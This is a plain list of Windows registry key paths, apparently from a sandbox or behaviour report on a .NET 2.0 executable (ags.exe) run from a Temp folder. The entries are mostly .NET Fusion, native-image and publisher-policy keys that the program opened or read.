HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|ags.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|ags.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|ags.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_CLASSES_ROOT\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\56fc560b\6877ec64
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\56fc560b\78667755
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.resources_it-IT_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\433351e7\2db83a0b
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\433351e7\26b4a30
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
